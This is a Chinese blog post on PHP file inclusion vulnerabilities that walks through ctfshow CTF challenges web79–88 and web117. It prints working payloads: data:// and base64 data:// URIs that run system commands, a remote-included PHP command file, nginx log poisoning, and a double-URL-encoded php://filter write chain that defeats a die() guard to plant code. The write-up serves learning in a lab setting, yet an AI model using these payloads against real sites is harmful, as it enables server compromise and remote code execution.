文件包含基本知识和ctfshow 练习 2.0

文件包含基本知识和ctfshow 练习 2.0

前言:之前记录过文件包含漏洞的一些基础知识,这次在上次的基础上进行补充以及延申

1.0 文件包含漏洞的基础利用思路

1 配合文件上传进行getshell

2 配合日志文件进行getshell

3 配合session文件进行getshell

1.1 文件包含漏洞的发现思路

黑盒: 传入的参数值是文件名,就可能是包含该文件,尝试对文件名进行修改查看是否有变化来判断是否存在文件

包含

白盒: 白盒就和发现其他漏洞方式一样,通过特定函数来寻找文件包含漏洞,至于具体什么特定函数我在上一个文

件包含漏洞中有讲。

1.2 常用的一些php伪协议

加点之前博客没写的

1.2.1 file://协议

file协议我们之前就已经使用过很多遍了,对于allow_url_fopenallow_url_include 两个参数off 或者on都

可以使用该协议

具体使用直接file://文件路径 路径可相对可绝对,也可使用网络路径

1.2.2 php://协议

php://协议用来访问各个输入或者输出流

使用条件:

  • allow_url_fopen:off/on
  • allow_url_include :仅php://input php://stdin php://memory php://temp 需要on

在数据中 enctype="multipart/form-data"时php://无效

具体的一些协议:

1 php://filter 该协议主要用来读取数据,对数据进行加密后输出,如果不加密如果读取代码就会直接执行,而不

会显示

用法:php://filter/read=convert.base64-encode/resource=xxx.php

该方式是利用base64进行编码

2 php://input

该伪协议用于读取数据包中的body内容,也就是我们利用该协议可以在body里写入恶意代码从而做到代码执行的

效果

1.2.3 data://协议

该协议用来代码执行

常见用法:data://text/plain,<?php phpinfo();?>

date://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+

后者是Base64将恶意代码进行编码了

1.3 http 和https协议

https和http也可以用于文件包含去包含远程后门代码,但需要allow_url_fopen:on

allow_url_include on

ctfshow 练习

1.0 web 79

没什么过滤选择任意一个伪协议或者远程包含读取就行

1.1 web 80

本题把php过滤了,用data协议搭配通配符绕过,拿下。

data://text/plain,<?=system("tac fla*");?>

1.2 web 81

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

该过滤把data和php都给过滤掉了

经过测试可以使用远程文件包含,在服务器端写入恶意代码;

<?php
    system("tac fl0g.php");
?>

fla0g.php是因为先通过ls发现flag文件为该名称,成功获得flag,还有另一种方式

考虑之前我们在文件上传漏洞中使用的方式,日志文件包含

通过浏览器插件判断该网页使用的是nginx中间件,该中间件的日志文件地址为

/var/log/nginx/access.log我们对其进行包含

然后和之前处理一样,在Ua头写后门代码即可.

1.3 web82-86

本题开始我们要使用和日志包含相似的另一种用于处理伪协议无法使用的文件包含漏洞利用方式,即session包含

本题还要使用条件竞争。由于ctfshow的条件竞争只能在固定时间使用,所以先放着不做以后有时间再做

1.4 web 87

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

    
}else{
    highlight_file(__FILE__);
}

file_put_contents用于对文件写入数据,也可以使用伪协议,但对于此函数来说,本题其实算是代码执行而不是文

件包含发现过滤的比较彻底,而且<?php die('大佬别秀了');?> 直接让我们写入的后门代码无法正常运行,考虑

要对其

绕过,这时候我们参考该博客的思路:这个

我们发现对传入的文件名要经过一次url解码,在我们传入时也经过一次url解码,所以我们传入文件名时要经过两次

url编码,从而起到绕过的效果,我们想要绕过die()函数,就要使用上面引用的那篇博客中的技术,通过

base64decode对其进行绕过,使用php伪协议中的filter说明文件内容经过base64编码,然后传入base64编码的

内容,传入后服务器会对传入的内容进行一次解码,对于<?php die('大佬别秀了');?> 过滤掉不合法字符后剩下

phpdie然后进行解码,由于base64解码是4个字符为一组,为了不让其干扰到我们写的恶意代码,所以要补两

个字符,剩下是我们编码过的恶意代码即可,这样就实现了die函数的绕过,所以我们有file:

php://filter/write=convert.base64-decode/resource=a.php ,注意,由于是写入,这里是write,由于我

们利用的是解码,所以这里是decode。两次url编码后

%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%36%31%25%32%65%25%37%30%25%36%38%25%37%30

由于目前普遍的在线编码网站都不会对普通字符进行编码,所以我们采用的是手写脚本进行编码:

def ascii_to_hex(input_string):
    hex_codes = [format(ord(char), 'x') for char in input_string]
    return hex_codes

if __name__ == "__main__":
    input_string = "你的字符串"
    hex_values = ascii_to_hex(input_string)
    for hex_code in hex_values:
        print("%"+hex_code, end='')

这是file的内容至于content:

<?=system("ls");?>

aaPD89c3lzdGVtKCJscyIpOz8+

<?=system("tac fl0g.php");?>

aaPD89c3lzdGVtKCJ0YWMgZmwwZy5waHAiKTs/Pg==

然后获得flag。

本题也可用利用其他编码方式进行绕过,比如rot13编码

1.5 web 88

if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
}

查看过滤,发现可用使用data协议,注意,编码若是有=或者+说明有占位符,代码末尾多加几个空格即可消除

data://text/plain;base64,PD89IHN5c3RlbSgibHMiKTs/PiAgICAg

再获取flag

data://text/plain;base64,PD89IHN5c3RlbSgidGFjIGYqIik7Pz4gICAgIC

或者ip转数字进行远程文件包含也是可行的。

1.6 web117

基本和上一题思路相同,只不过用的不是一种加密协议,具体就不细说了。

posted @ 2024-04-07 23:55  折翼的小鸟先生  阅读(2)  评论(0编辑  收藏  举报